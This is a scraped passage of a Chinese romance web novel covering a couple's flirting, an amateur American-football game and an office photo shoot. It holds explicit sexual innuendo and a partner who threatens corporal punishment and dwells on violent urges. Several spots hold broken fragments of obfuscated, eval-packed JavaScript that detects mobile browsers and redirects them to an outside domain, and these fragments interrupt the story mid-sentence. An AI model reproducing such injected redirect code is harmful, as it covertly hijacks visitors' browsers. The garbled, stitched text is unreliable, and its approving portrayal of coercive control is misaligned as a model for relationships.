0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958572|177203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甄脸色一变,忙收回脚拿抱枕藏起来,被臭男人欺负得又快哭了:“你!你能不能别这么不要脸!” 哪家老爷们儿跟公驴似的满脑子就只有—— “你再这样,你去化学阉割吧!” 贺越邱不高兴地抱住甄甄腰,埋在他腿间,声音闷闷的:“不可以,那是给宝宝准备的,阉了宝宝以后用什么?哦……还有手指……舌头也行。反正你随便玩玩就喷。根本用不上真东西。” 甄甄不服气地说:“我已经很厉害了!” “是呀,甄甄最棒了,没有甄甄的话老公肯定早就憋死了。”贺越邱甜言蜜语的哄着甄甄。 甄甄也好哄,没一会儿就被哄得又趴在贺越邱身上要抱抱了。 他们两个人倒在沙发上乱亲了一阵,贺越邱像抱着只小猫那样抱着甄甄,拨弄他柔软的头发,问起第一天上班的体验。 甄甄一下子来劲了,从八点半吐槽到十点,主要是在骂方寸行如何能装,也八卦了一下戴维在公司月会上看黄推被抓包的糗事。 错觉吗? 甄甄感觉贺越邱的眼神和语气忽然间兴奋了不止一个度,直勾勾地盯着他:“黄推?哪种程度的黄?他给你看那个账号了?” 甄甄的头立刻摇得像拨浪鼓,见鬼似的看着男朋友:“当然没有啊!他都社死成那样了,恨不得马上取关吧,怎么可能和一个刚认识的同事分享这种……不过要说很黄的话,应该也算不上吧。戴维说H总很少会发图片,平时更新主要都是一些文字性的叙述,而且就算发图片,也都是些不怎么露骨的局部照,放墙内估计都不会被屏蔽。想想也是啊,这么私密的东西,肯定要注意保护隐私吧?” 贺越邱眼神灼灼:“说不定只是表面上呢,私底下建那种门槛群,要发红包才能解锁更刺激的东西。” 甄甄羞愤地推他一把:“你好变态啊!而且这么懂,难不成你给那些黄推发过小红包?你眼睛脏了!” “我有你还看那些恶俗下流的东西吗?”贺越邱抓住甄甄的手指,叭哒一声很响亮地亲了口,“我们甄甄宝宝全身上下都是白白/粉粉的特别好看,所以得让老公拍下来能够随时欣赏对不对?” “不对!你以后不许拍了!” “喜欢得想随时随地都能看到才会忍不住拍,连这点福利都要剥夺吗?好狠的心啊宝宝。”贺越邱故作伤心道。 甄甄马上就被哄好了,趴在他胸口画圈圈:“好吧。不过你答应我的,只能自己一个人看,不许再给第三个人看!” 他的指尖下那颗强劲有力的心脏似乎在零点几秒之间停跳了一下,但被甜言蜜语塞满的耳朵在这一刻没有听见命运好心的提示,以为这就是值得孤注一掷托付所有的承诺。 甄甄最后画了一个爱心,下垂的圆圆小狗眼笑得半眯起来,声音轻轻甜甜地同爱人撒着娇:“你看这是我心脏的形状,和你的画在一起,丘比特‘咻’地一箭射过来,就把两颗心锁在一起了。” 甄甄紧紧地贴了下去,抬起头看着贺越邱,眼眸像初夏的星星一样,亮晶晶的:“我们要一直一直这样锁着。” 贺越邱揉着甄甄毛茸茸的脑袋,姿态很放松,低低地“嗯”了一声。 7.第 7 章 约好橄榄球的前一天晚上,甄甄紧张得睡不着觉。 “我从来没有玩过橄榄球,到时候上场了接不住球,或者跑不过别人什么的……你的朋友们不会笑话我吧?” “不会。我们对新手都很友好的。” “我刷视频看国外的橄榄球赛都是一群货运重卡互相冲撞,就我这点体重身高,真的不会轻轻一推就骨折断腿吗?” “那都是NFL的专业运动员,像我这样体格的在里面也只不过能担任四分卫和跑卫这样身体对抗不强的位置,更别提我那些只是把橄榄球作为一项兴趣爱好的朋友们。再说了不是还有头盔和护具吗?放心吧,它们会好好保护你的。” 甄甄捏了捏贺越邱硬邦邦的肱二头肌,坐到他旁边把小腿伸出来作对比,在悬殊的差距下,对他的话深表怀疑。 但想着国内玩这项运动的应该也不多,看短视频上都是些比自己还矮的小矬子,于是又放心了点。 “我有一米七八呢!再长长就一米八了,放到哪儿也不算矮,说不准你那些朋友还没我高,所以我不用太担心对不对?” 贺越邱憋着笑,在甄甄飞刀般的眼神中一个劲吹捧他:“当然。就我那群拎出来跟小鸡崽似的球友,你轻轻一根手指就能把他们攻得溃不成军。” 甄甄这才放宽心躺下,安然地闭上双眼。 第二天一大早,试穿了一下贺越邱球服的甄甄:“……” 他扯开几乎能塞下两个自己的球裤,出离愤怒了:“另一条裤腿租给大学生开正O鸡排吗?!” 贺越邱笑得前仰后合,被甄甄一记小猫拳打老实了,把提前买好的小码儿童款橄榄球服塞给他。 “市面上没你的码,我托朋友从国外初中橄榄球队找了套装备,试试看合不合身。” “我怎么可能穿得下初中生尺码!” 甄甄不服气地去换衣服,出来后一看镜子绝望了,被贺越邱拉着拍了好几张照片,赞叹道:“我的眼睛就是尺,果然刚好合适。” 镜子里的男孩满脸生无可恋,身上红白相间的橄榄球服衬得他青春活力,只作为一件普通衣服来看的话,还是挺时尚的。 可这是初中生穿的啊—— 他明明个子很高、姿态也挺拔,虽然瘦,还是挺匀称的,怎么也不能说是排骨,为什么全副武装后站在只穿着家居服的贺越邱旁边,还是显得比他整个小了一半啊?! 贺越邱单掌掐在甄甄后腰,下巴搁在人肩膀上,空闲的那只手在他腿根比划了一下,低声道:“比起裹得严严实实的橄榄球服,我觉得你更适合穿拉拉队的超短裙,在我比赛的时候跳舞给我看。精致漂亮的美高亚裔小甜心一定会把整个球队的士气都鼓舞起来,把对面那群花架子打得落花流水。你说呢?” 甄甄“腾”一下就脸红了,明明只是凑在耳边的假设,却让他不自觉地拉了拉衣摆,仿佛真穿着裙子、下面凉嗖嗖的,周围传来无数观众激动的呐喊,很多双灼灼的眼睛都盯着他裸露在外面的大腿。 甄甄不太适应地并起腿,在贺越邱的掌控下小幅度的扭动着:“就、就算真的要穿……也只穿给你一个人看啊……” 贺越邱的呼吸急促一瞬,单手揽过甄甄的细腰,控制住不让他乱动,鼻尖杵在白皙的颈间摩挲,声音低得近乎呢喃:“You adorable slut.” 甄甄英语不是很好,但也能听出来不是什么好话,狠狠踩了他一脚:“让你留洋是为了师夷长技以制夷不是为了让你学这些乱七八糟东西的!今天那么多人在,还有我上司,你不许再随地大小硬!” 贺越邱无辜地岔开腿,耸耸肩:“它可不听我的话。” 于是成功收获大力投手甄甄の橄榄球头盔*1。 “橄榄球虽然在欧美尤其是北美很火爆,是项非常吸金的高度商业化赛事,但受限于较高的门槛和暴力对抗的大众印象,在国内反响不怎么样,算是项小众运动吧。” 在去橄榄球场的路上,贺越邱边开车边给甄甄科普,“玩的人少,多打两场球就都熟了,大家关系都是蛮不错的,也很期待新鲜血液的加入,你不用担心无法融入。” 甄甄做了一整晚的心理建设,但还是紧张。随着渐渐能看清全貌的绿茵场,不断给自己打气鼓励:没关系的,那些人说不准比自己还弱鸡! “到了。” 贺越邱停稳,把钥匙交给球童去泊车。 甄甄磨磨蹭蹭地落在后面,鼓足勇气刚踏上绿茵场,一抬头,不知道从哪里窜出来的黑皮壮汉们从四面八方围上来,虎背熊腰地砰砰击打着椭圆形橄榄球,和贺越邱互撞肩膀热情问好。 “嘿bro,好久不见你来!” “bro穿上西装就化身华尔街金融狼了。” “今天一定打满全场好吗bro。” 甄甄满脑子都是“bro”,被这群黑皮肌肉男的汗味熏得眼冒金星,视线被一坨又一坨比他头还大的肌肉块模糊得看不清人脸,只知道冲过来的全是些人高马大的橄榄球僵尸。 被荷尔蒙团团围住的瞬间,他感觉自己像那株失去了豌豆射手和小推车的向日葵,马上就要被这群橄榄球僵尸挖掉脑子吃得歪比巴卜了。 不、不对啊! 说好的业余爱好,非专业玩家呢? 为什么个个180黑皮壮肌猛男,还掺了几个非洲脏辫留学生啊! 跟他们对比起来,贺越邱那身拉丁美洲古铜肌都显得奶油小生了! 但也是猛男扎堆的时刻,甄甄方才发现,贺越邱的绝世旷工体型绝非是因为对照组是他,此男在这群橄榄球僵尸里都是鹤立鸡群的那一个! 虽然肌肉并没有夸张到恶心的牛蛙程度,但他一米九八的身高显然绝非扇贝! 进行过一场经典到刻板印象的寒暄后,这群人终于注意到了被他们团团围住显得无比弱小可怜又无助的甄甄了。 黑皮猛男1:“嗯?这是你侄子吗?可以可以,小男孩就应该多出来运动晒太阳,才能长得又高又壮的!” 黑皮猛男2:“OMG你带了一个中国姑娘来!我怕一会儿轻轻一碰就会弄哭她!” 黑皮猛男3:“她是来帮我们递水捡球的吗?” “……”甄甄顶着十几道炽热的目光,硬着头皮解释道:“不……我是来打球的。” 贺越邱一手搂住甄甄,宽松的橄榄球服收紧,勒出底下细韧的腰肢。 他勾起唇角,大大方方一笑:“介绍一下,这是我的男朋友,甄甄。” 甄甄举起手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964817|177203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拘谨地朝众人打了声招呼:“哈喽。” 片刻的安静后,球场上炸开了锅。 “这就是你的那个小男朋友吗?真的好小!你确定他成年了吗?我合理怀疑你违法犯罪了!” “什么眼神?人今年都要大学毕业了,我是那种知法犯法的人?” “那难说。不还是大了四岁吗,就说你是老牛吃嫩草。” 贺越邱气笑了,众目睽睽下扭头响亮地亲了甄甄一口:“滚蛋,我看你们就是嫉妒。” 甄甄的瞳孔瞬间放大,感受到四面八方投来的微妙目光,头顶热得都快冒烟了,悄悄拧了一把贺越邱的腰肉,咬牙道:“你给我稍微收敛一点,不然回去有你好受的。” “咳咳,我挺正经一人啊。”贺越邱有点不舍地松开甄甄。 甄甄白他一眼,到一边热身去了:“把你那一脸暗爽的表情收起来再说吧。” 其他人见贺越邱让自家小男友拿捏得死死的,纷纷起哄噓他:“哟~暗爽哥~” 贺越邱脸皮一向厚,大咧咧地享受着这群单身汉的艳羡,甄甄倒是红着脸躲开了。 “呃……老板?”甄甄踢腿走的步子停了一下。 之前被人围着还没注意到,方寸行原来也早到了,同样红白相间的橄榄球服,只是没戴头盔,正在热身。 方寸行抬头看了他一眼,露出欲言难止的表情。 又转头看了眼远处被簇拥着的贺越邱,语气里有种莫名的嫌弃:“他还真让你来打橄榄球?这细胳膊细腿的……等会儿躲后面点,别让人顺手就当球扔了。” 甄甄气得发抖,怎么说话呢?! 恶语伤人六月寒啊! 他毫无威慑力地磨了磨牙,当此人不存在,扭头继续抬腿走。 “贺,不去手把手教你的小男友热身吗?”脏辫哥一副“你懂得”的表情,用手肘顶了顶贺越邱。 远远地看着方寸行和甄甄交谈,贺越邱笑了笑:“你要相信甄甄的魅力,他可不缺老师。你们先热场,我去换装备。” 甄甄装模作样地来回走了几分钟就一屁股坐草地上摆烂了,他从小到大既没有聪明脑子也没有运动天赋,要不是对男友曾经留学时打过橄榄球业余联赛的经历很感兴趣,今天说什么也不会来的。 周围忽然响起几声起哄,甄甄扭头一看,贺越邱全副武装地走出场口,紧身橄榄球服随着动势勾勒出精壮完美的肌肉线条,虽然高,但下盘沉稳有力,每一步都走得看似随性却极有力量。不是泡健身室练出来的死白肌肉,裸露出的手臂在阳光下是浮着油墨肌理的古铜色,肌肉完全充血后,手里的橄榄球随便一挥就是50码。 他单手拎着沉甸甸的头盔,在欢呼和口哨声中朝着甄甄走过来,不等他反应,随手就把人捞起来,单手公主抱着绕场一周,像一头气势汹汹地美洲豹正叼着雌兽的后颈巡视领地。 甄甄整个人都悬空,还以为自己要掉下去,吓得紧紧地勾住男人的脖子。 但贺越邱把他抱得很稳。 甄甄在自己慌乱的心跳声中艰难睁开眼,他的角度只能看见贺越邱锋利的下颌线,和他充血兴奋的眼底,那里面充斥着对胜利的势在必得。而他就像勇士以命才能搏回的奖赏,是场上热烈氛围天然的兴奋剂。 8.第 8 章 贺越邱绕场一周后又回到原点把甄甄放下,给方寸行分配了为甄甄介绍橄榄球规则的任务,他拒绝的话还没来得及张嘴,贺越邱便招呼着其他人一起上场热身了。 只剩下方寸行和甄甄大眼瞪小眼。 “算了。”方寸行捏捏山根,认命地耐心解释起来。 十分钟后他口干舌燥地拿起矿泉水灌了一气,扭头问甄甄:“听懂了吗?” 甄甄却答非所问。他聚精会神地看着球场方向,为贺越邱闪身躲过脏辫哥的冲撞而松了口气,胆战心惊地比划着:“那个橄榄球看起来比我头都大,他们就那么随随便便单手抓着扔来扔去,一个两个跑起来跟推土机似的互相冲击,撞到一起刹都刹不住,这真是人类应该有的运动项目吗?!” “……我问你,四分卫是干什么的?” “……昂?” 甄甄卡壳了,像动作迟缓的考拉一样缓缓扭过头,呆呆地看着方寸行,捏着衣角小心翼翼地试探道:“保护二分之一位?” “……” 行,一看就只关注亲亲老公去了,压根没搭理自己费的这半天口舌。 方寸行选择戴上头盔,往长椅上一坐,与整个世界say goodbye。 简而言之,自闭了。 甄甄哼哼两声,小声嘀咕:“真没耐心……难道以后带着女朋友出来玩也这么不耐烦吗……” 方寸行把他的碎碎念尽收耳底,呵呵冷笑:“首先,你不是我女朋友,我对你没有耐烦的义务;其次,你男朋友把你丢给我,貌似他更没耐心吧?” 甄甄像被不长眼的人踩到爪子、吃痛下突然跳起来的小狗一样,凶巴巴地反驳道:“你懂什么?昨天晚上贺越邱跟我讲了好多遍规则,讲得可细致了,跟你简直是天差地别,你自己做不到就不要往别人男朋友身上泼脏水!” 方寸行阴阳怪气道:“哎哟,你男朋友才是二十四孝好男友,那你快去找你亲亲男朋友去。我这种刻薄老板这辈子只和钱结婚,不懂怎么谈恋爱怎么细心,真是罪大恶极啊。” 甄甄气得扭头就走,场上的人看见他来纷纷让开路。 贺越邱被旁边的人撞了下,一回头,甄甄气冲冲地、用要把自己撞死的力道一头撞进他怀里。 “姓方的太讨厌了!以后你要和他一起玩别叫我,和我一起玩也别叫他,我看见他就烦!我和他只能做两条互不交叉的平行线!” 贺越邱扔掉球,轻轻拍拍甄甄的头盔,耐心哄道:“怎么了这是?你这么不待见他啊,我看他还挺耐心跟你讲规则的,以为你们相处得还不错呢。” “他嫌我笨!我还嫌他凶呢!” 甄甄嗓子尖,激动下有点破音,不高兴地撅着嘴,泪水在眼眶里打着转。 这些人都这么壮,跑起来根本刹不住,足球把人铲翻了裁判还吹一下哨给个黄牌呢,偏偏橄榄球抢球截断就靠撞来撞去,他看有的人被撞后痛得半天爬不起来,难免代入自己,吓都吓个半死了,哪还有心情听这样那样的规则。 贺越邱看出来小男友有情绪,也猜出来几分,安慰道:“橄榄球规则挺复杂的,你没接触过,一次两次看不懂很正常,先在旁边看我们打吧,熟悉规则了说不准还要主动加入。” “本来带你出来玩只是想让你高兴,但你不愿意也没关系。别生气了宝宝。” 全套装备的高大男友把自己搂在怀里温声细语地哄,甄甄娇妻脑立刻发作,眼泪一下子就憋回去了,都忘了是在球场上旁边一堆人看着,踮起脚就想亲一口贺越邱。 头盔碰到头盔后才发现不太方便,于是麻溜地取了头盔,“啵叽”一声,亲在贺越邱头盔的钢齿上。 “你要加油,狠狠地教训一下姓方的!” 这下瞬间兴奋起来的何止贺越邱,其他人也都“哇”地大声怪叫,抓着大腿蹦高打滚撕扯衣服狂奔—— “Yeeeeeee!!狂战士的顶级buff加持!!” “他比赛前被他的女朋友亲吻了!赛后在镇定剂中发现少量血液!” “教练:快,过掉他,然后达阵得分;贺:好,做掉他,然后蔑视上坟!” “四分卫把对面前锋撞飞了!” “上吧!贺!野牛冲撞!” 甄甄被这群人突发恶疾吓到,对上贺越邱压抑兴奋的眼神后回过味来又不好意思了,红了脸抱着头盔赶紧跑回场边。 那道视线仿佛安装了追踪系统,甄甄拿头盔把自己挡住,缩成一只红伞白杆的瘦长蘑菇。 正准备上场的方寸行:“……” 诡计多端的该死男同。 姓贺的当年在美国留学就差点打上NFL,水平在国内职业里都算是超一流的,本来就难缠,这家伙还主动送上门给他亲把他搞兴奋,这下真是舍命陪君子了。 方寸行深吸口气,调整好装备,组织他们这边的队员防守。 哨响后甄甄立刻紧张起来,像被逗猫棒吸引的小长毛金渐层一样,蹲在橡胶跑道上,视线随着那颗比他头都大的橄榄球移来移去。 橄榄球不亏是被誉为暴力美学的一项运动,为了把球向前推进更多的码数,十几个肌肉壮美的成年男子在绿茵场上进行着最为激烈的身体对抗。眨眼的功夫,上秒还在静默相持的双方下秒便冲撞撕扯成一团,每个人都像极了一辆全力踩下油门的越野车,势必要把对手撞得车毂乱飞彻底报废不可。 而这些人中拼得最凶最狠的莫过于十号,谁挡撞谁、谁截过谁,像头杀红眼彻底狂暴突出人群的野牛,在好几个彪形大汉的围追堵截下硬生生杀出条血路,将手中的橄榄球往前不断推进。 贺越邱只听得到胸腔中剧烈的心跳声,仿佛要炸开,他浑身的血液都被甄甄的那枚吻彻底点燃,沸腾了烧干了,燥热疯狂无处释放,只有通过这样暴力的运动才能勉强代偿。 他喜欢为了达阵得分去流血和疼痛,就如同比起温和缠绵的性/事,他更喜欢暴力压制抵死方休,让身下的人记住痛更甚于爽;比起被百依百顺地服务,更喜欢失控后被狠狠咬住肩膀抓烂后背,闻到那令人躁动狂暴的血腥气。 对贺越邱而言,甄甄就像这块赛场上的橙色阵地,他必须调动出全身的荷尔蒙,肆无忌惮地横冲直撞、暴力打砸,冲过所有防守截断把球射中得阵——如果不是社会和法律约束,贺越邱想他肯定会是个暴力犯罪狂魔,只有在这片绿茵球场上他才能放开束缚随心所欲地驰骋。 而绿茵球场之外,还能无条件包容他的却是一个最胆小最柔软最怕疼的生物,像条刚满月的小狗一样天然亲近人,摇着尾巴摇摇晃晃地缠在脚边发出可爱得让人想一把掐死的嘤嘤声。 他可以在甄甄身上发泄所有压抑在心底最深最沉重最畸形最肮脏的欲望,这连在球场上都无法做到,除了爱他的人对他不设规则之外,这个社会的边边角角、哪怕一块人行路上的砖都有规则。 贺越邱回想着那双看向他时永远亮晶晶的眼睛,奔跑的速度越来越快,把无数人和风都远远甩在身后。他的大脑在连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方寸行赫然对上贺越邱的眼神,一股不知哪来的心虚让他触碰到甄甄腰身的那只手像被火炭烫了一样。 他迅速撤回,拉开两人间的距离。 还好头盔能遮挡部分脸部的燥热。方寸行解释道:“我怕他躲不开,刚好离得近,伸手捞了一把。” 贺越邱的视线极其明显地落在方寸行的手和甄甄的腰间,有一股微妙的兴味,面对好友欲盖弥彰般的解释也未置可否:“哦,那还得多谢你了。” 他这什么意思? 相信还是没相信自己的话? 方寸行敛下眸子,很少有这么没底的时候:“今天玩得差不多了,大家先休息会儿吧。” 说完便离开球场,先去了更衣室。 甄甄后知后觉这些人调侃的目光,同样怕贺越邱误会什么,也撇清道:“我自己能躲开,谁要他多此一举啊!我一点都不想跟他挨这么近!” 贺越邱取下头盔,似笑非笑道:“怕老公吃醋?” 甄甄眼神躲闪:“哪有!我行得正坐得端,正常接触而已,有什么吃醋不吃醋的。” 贺越邱把他揽入怀里,大掌按在方寸行刚刚碰到过的地方,拇指从衣服底下钻了进去,用力按了按:“他刚刚走过去的时候,我在他身上闻到了你的味道。” 周围还有人,甄甄怕被人看见,乱扭动起来,碰到什么后突然一楞,僵住不敢再动。 贺越邱压抑着滚烫的呼吸,凑到他耳边:“我得想点办法让别人一闻到你的气味,就知道你是我的人。” 9.第 10 章 晨。 “120.35……” 甄甄目不转睛地盯着体重秤上发光的数字,指着高兴地说:“涨了涨了!你看重了3两多!” 贺越邱从他兜里抽出手机:“重新再称。” 甄甄拒绝无效,紧张地盯着不断跳跃闪烁的数字,碎碎念地祈祷着一定要在120斤以上,然而几次反复横跳后,最终定格在119.5。 他马上下去,又重新站上:“不对不对,都怪你刚刚拉扯我,害得体重秤都不准了,我重新称。” 贺越邱抱着手臂靠在墙上,一脸“随便你狡辩”的表情。 甄甄暗暗咽了口唾液,想着多增加一点分量。过于薄的腹部微微凸起,是憋着没敢上厕所存下的晨尿,满怀期待地看着体重秤上的数字重新亮起—— “119.9,120.1,119.7……” 贺越邱见他这样,不怀好意道:“那你昨晚就不该哭闹着要我给你弄出去,把东西留着还能再增加点重量。” 甄甄瞪他一眼:“你没看过一胎99娃的短剧吗?如果这是生子文怎么办!” 贺越邱理所当然:“怀了那就生啊,生十个八个我又不是养不起,说不准能凑支橄榄球队呢?” 甄甄被他这话激得小腹惊痛,夹紧了腿,心想以后还是该上厕所就上吧。 “你别打扰我,120,119……” 他垂头看着数字,语气上下起伏,时而激动时而沮丧,疑似双色球开奖现场。在经过几轮来来回回的期待和失望,数字最终定格在—— “119.8——” “不可能!!绝对不可能!!这秤一定是坏了!!” 甄甄的眼睛瞬间变成两只荡漾的流泪荷包蛋,一口咬死肯定是设备的问题。 贺越邱冷笑两声:“这秤比桃白白的星座还准,当年在曹冲手底下办过事,你自己不好好吃饭又瘦了,居然赖到一个无辜的电子秤上,真是满嘴谎话的小狗。” “才不是!我明明很努力在吃了!” “是吗?” 贺越邱伸出两根手指,探进甄甄的口腔,摸索丈量着大小,十分不满意:“平时连个水煮蛋都吃不下……还好意思说自己努力了。也就我心疼你嘴巴又薄又小,换别的男人才不管你吃不吃得下,早硬来了。” 他别的方面专制独裁,唯独这件事上倒是没掺假话,也的确是大小实在不匹配,那么一张小嘴,吃个鸡蛋都满得脸颊鼓起了,没办法再喂更多。 甄甄被弄得流出涎水,口齿不清地说:“唔唔,泥还想喔给哪个南人此。” 贺越邱的笑忽然又很意味深长,抽出手指擦干净,用吻代替了回答。 “因为上个月一斤没涨还往下掉了,所以上次答应你的奖励要扣掉,如果这个月还不涨甚至没补回来,到时候我就定制根紫斑竹,少一两打一下,还要让你亲自数着。” “我才不干!” 甄甄扭身跑进厕所,重重关上门,免得有流氓不要脸地跟进来—— 毕竟这种事又不是没发生过,看他尿急还故意挤进来,放肆地打量,非要欺负他听他半带哭腔地喊哥哥喊老公才肯罢休。 甄甄红着脸坐在马桶上,听见男人拖鞋踩在木地板走过来的声音,明明很急,却紧张得只能一小股一小股地尿。 贺越邱听见动静,笑得下流又放肆,曲起手指在磨砂门上敲了敲:“怎么昨晚上也这样尿啊宝宝?你看生活阳台上都晾几床被单了,小狗不听话乱撒尿的话还是堵住,或者干脆穿纸尿裤吧?” 甄甄臊得浑身发烫,头顶都仿佛冒着热气。 “你滚!!!” ——— 贺越邱替甄甄解开安全带,叮嘱着:“我给方寸行打过招呼,让他的厨房开小灶时把你那份带上,中午要好好吃饭,别仗着我看不见就乱来。” 甄甄耷拉着小狗眼,不情不愿地说:“我又不饿……” “别闹。上次体检医生没跟你说吗?本来就长期营养不良,这两年好不容易长点肉了,不好好保持到时候又隔三差五感冒,一感冒就十天半个月,只能躺在家里,也不能出去玩。到时候你可别又哭着赖我欺负你,不准你出门。” “感冒了我就往你床里拱!吭吭吭我拱拱拱,把病毒都传染给你,我就好了!” 贺越邱有些无语地点住甄甄的鼻尖往上抬,压成圆圆扁扁的小猪鼻:“你吃饭的时候要是能学习一下猪的食量就好了。” 又左左右右上上下下看了好几遍:“嗯……怎么变成小猪也这么可爱。” 他掏出手机,拍下甄甄小香猪时候。 临下车前又是亲又是抱,磨蹭小半天,贺越邱才把甄甄送到公司门口:“上班要听老板话,中午乖乖吃饭不准挑食;同事要是刁难你就去找方寸行告状,我给他投了不少钱,放心大胆使唤就行;下班别自己一个人回去,等老公来接你。” 甄甄白眼望天,指着头顶星火文化那几个硕大字牌:“先生,我们这里是公司,不是幼儿园。” 家长瘾大发的贺越邱显然没听进去,临走前又狠狠揉搓了几圈小男友的头发和脸蛋。 甄甄顶着乱糟糟的头发和还带着点红痕的脸走进方寸行的办公室。 他站在被工作折磨得吊着一口气的同事中鹤立鸡群,方寸行频频看去,边严肃地布置着秘书部这周的工作,脑子里却不由自主地闪回在更衣室隔间发生的荒唐事。 再看向甄甄时,眼神中不自觉就带上了几分不自在。 感受到灼热的视线,甄甄沿着方向抬眼,却只捕捉到方寸行生硬挪开的视线,似乎极力避免与自己正对上。 甄甄脸上现出不解:他把老板丑到了? 干嘛作出一副不忍直视的样子! “甄甄,”念出名字,方寸行不知道为什么涌上股别扭劲儿,握拳抵唇咳了两声,目光聚焦在办公桌的绿植上,“你跟着戴维,去盯一下广告部那边的拍摄。” “哦。” 直到走出办公室,甄甄都只觉得莫名其妙的,拉来戴维小声蛐蛐:“呃……我是说,他一直都这样,脑子不太正常吗?” 戴维吓得立马回头看了眼,正好和老板看垃圾一样的眼神对上,顿时欲哭无泪地拉着甄甄窜进电梯里。 “打工人规则怪谈第一条:不要当面蛐蛐老板或你的同事啊啊啊!我们离得那么近,万一被听见怎么办!” “可他很爱当面挑我刺。” “呵呵,因为他是老板,而我们只是牛马。” ‘我不是,’甄甄在心里说,‘我老公说我是小狗小猪。’ 但他怕一说出来又被戴维骂娇妻,努力忍住了。 ——真奇怪,他爱老公,老公爱他,他只不过喜欢提到两个人相处时的事,为什么就要被judge成什么娇妻、恋爱脑呢? 想来想去也只觉得方寸行纯嫉妒,见不得他们恩爱,单身单疯了。 戴维带着甄甄刚一进广告部的拍摄基地,远远地就听见一道中气十足的女声劈头盖脸地在骂人。 “我的助理没通知你今天要拍新季推广吗?!为什么明知道有拍摄通稿还要通宵泡夜店喝酒?这么多人忙前忙后就为了配合你出片,你又是怎么好意思顶着满脸黑眼圈红血丝肿成个猪头出来吓人的?你们那片的夜店没卡颜局吗连你这种肾虚猪头肉都能去蹭果盘?” “白导你消消气,他年纪小玩心重,来的路上我已经骂过了,以后绝对不会再发生这种情况。他就是熬了下夜状态不好,一会儿让化妆师再多打点遮瑕就行了,咱别耽误拍摄,消消气消消气。” “还要打几斤遮瑕?你自己没眼睛吗看不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991464|177203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他这张丑脸上的粉底已经厚如城墙了,要不要我把隔壁工地的腻子粉借一桶糊他脸上?还以后,我永远都不会再和这种没有责任心的模特合作了,赶紧让他滚!” 经纪人满脸难色,谁都知道白芳是圈里要求最严格的广告导演,眼光独到又兼具顶级审美,经她手拍出来的时装件件都是断销爆款,自然有底气不像其他导演那样捧着模特,有一丁点不符合她要求的都会被骂个狗血淋头,非特殊情况谁也不愿意跟她硬碰硬。 何况这次他带来的模特确实没什么职业道德,第二天就要拍摄了头天晚上还在泡夜店约炮,把拍摄状态搞得这么差,也不怪白芳生气。 他连连道歉,给一脸不爽的模特使眼色,打算先把这人支回去,再从公司紧急调个新的来。 没想到被骂了一顿的模特也不是个省油灯,猛地站起来,对白芳冷笑道:“不就是个拍淘宝买家秀的,耍什么威风,没了我看你今天还怎么拍。” 白芳都气懵了:“我就是从这公司员工里随便找一个拍出来效果都比你好!” 他边走边哈哈大笑:“我看你是脑子进水了吧,行啊,有本事你找,要能找到我当场改跟你姓。” staff都来劝白芳,但她也是脾气上来了,鹰眼般扫着周围,本想随便找个高的顶顶差免得丢脸,然而扫了好几遍也没能挑出个稍微合眼的,脸色不免越来越差。 那模特顺势挖苦道:“不会吧白导,你真以为随便找个人就能有我这身材这颜值吧?就这群矮矬穷,走在路上都脏眼睛。” 戴维老远都听见了,怒不可遏:“挖槽,个跪舔富婆的鸭子上岸当了几年正经模特就忘了来时路是吧,整容前那丑照片还搁公司档案柜里放着呢就这么傲气!他才矮矬穷,他全家都矮矬穷!” 一圈被扫射但敢怒不敢言的staff在心里给他竖起大拇指:骂得好兄弟。 白芳正好扫到那边,忽然眼前一亮,指向戴维……的旁边:“你!过来!拍新季推广!” 甄甄左看右看,指指自己:“我?” 戴维一把推他出去:“给这小鸭子看看什么才是真正的四千年一遇男模!” 这边动静大,连带着那男模都被吸引视线,看清楚甄甄之后,所有人都愣了那么一两秒。 很嫩的一个小男生,光看脸才十七八岁的样子,穿着正装却像青涩DK,熨烫整齐的白衬衫规规整整地扎进皮带里,勾出又细又薄的一截纸片腰,西裤版型很好,衬得两条长腿纤浓有度、流畅笔直。 虽然痩,肤色也极白,透出一种弱不禁风的脆弱,却并不干瘪,只是格外惹眼。 站那不动时是安安静静的,五官一动起来就又有种特别明艳的鲜活,琥珀色的眼睛是那么亮,薄薄的唇瓣也是那么透,整个人都像是浸了水似的清新盈润,让人一看心里就舒服敞亮,恨不能再多看几眼。 纵然是白芳这样阅遍美人无数的导演,也没见过甄甄这款,当即就感叹道:“这男孩气质太干净了。看这眼睛,多漂亮,又纯又亮,跟只刚睁眼的小狗似的。” staff们纷纷赞同:什么员工啊,不会是新签的嫩模吧。 戴维一脸自豪:懂什么叫美貌是稀缺资源吗! 